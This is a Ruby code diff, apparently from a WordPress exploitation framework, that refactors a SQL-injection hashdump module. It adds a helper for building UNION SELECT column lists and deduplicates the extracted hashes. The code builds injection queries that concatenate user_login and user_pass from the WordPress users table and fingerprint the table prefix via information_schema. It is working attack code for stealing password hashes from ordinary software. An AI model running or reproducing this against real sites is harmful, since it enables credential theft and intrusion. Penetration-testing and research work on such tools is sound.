@@ -29,9 +29,14 @@ def reveals_one_row_per_request
2929 false
3030 end
3131
32+ # @return [Array] an array of values to use in the generated union statement.
33+ def hashdump_custom_union_values
34+ [ ]
35+ end
36+
3237 # @return [String] a unique SQL select statement that can be used to extract the hashes.
3338 def hashdump_sql_statement
34- cols = Array . new ( hashdump_number_of_cols ) { | _i | '0' }
39+ cols = hashdump_union_cols
3540 cols [ hashdump_visible_field_index ] = "concat(#{ bof_token } ,0x3a,user_login,0x3a,user_pass,0x3a,#{ eof_token } )"
3641
3742 query = "select #{ cols . join ( ',' ) } from #{ table_prefix } users"
@@ -40,9 +45,9 @@ def hashdump_sql_statement
4045 "#{ query } limit #{ current_row } ,1"
4146 end
4247
43- # @return [String] a unique SEL select statement that can be used to fingerprint the database prefix.
48+ # @return [String] a unique select statement that can be used to fingerprint the database prefix.
4449 def hashdump_prefix_fingerprint_statement
45- cols = Array . new ( hashdump_number_of_cols ) { | _i | '0' }
50+ cols = hashdump_union_cols
4651 cols [ hashdump_visible_field_index ] = "concat(#{ bof_token } ,0x3a,table_name,0x3a,#{ eof_token } )"
4752
4853 query = "select #{ cols . join ( ',' ) } from information_schema.tables where table_schema = database()"
@@ -100,7 +105,7 @@ def run
100105
101106 @current_row = 0
102107 emit_info 'Dumping user hashes...'
103- hashes = dump_and_parse_hashes
108+ hashes = dump_and_parse_hashes . uniq
104109 output_hashdump_table ( hashes )
105110
106111 export_hashes ( hashes ) if export_path
@@ -109,6 +114,16 @@ def run
109114
110115 private
111116
117+ def hashdump_union_cols
118+ cols = Array . new ( hashdump_number_of_cols ) { |_i | '0' }
119+
120+ hashdump_custom_union_values . each_with_index do |value , index |
121+ cols [ index ] = value unless value . nil?
122+ end
123+
124+ cols
125+ end
126+
112127 def bof_token
113128 @bof_token
114129 end
0 commit comments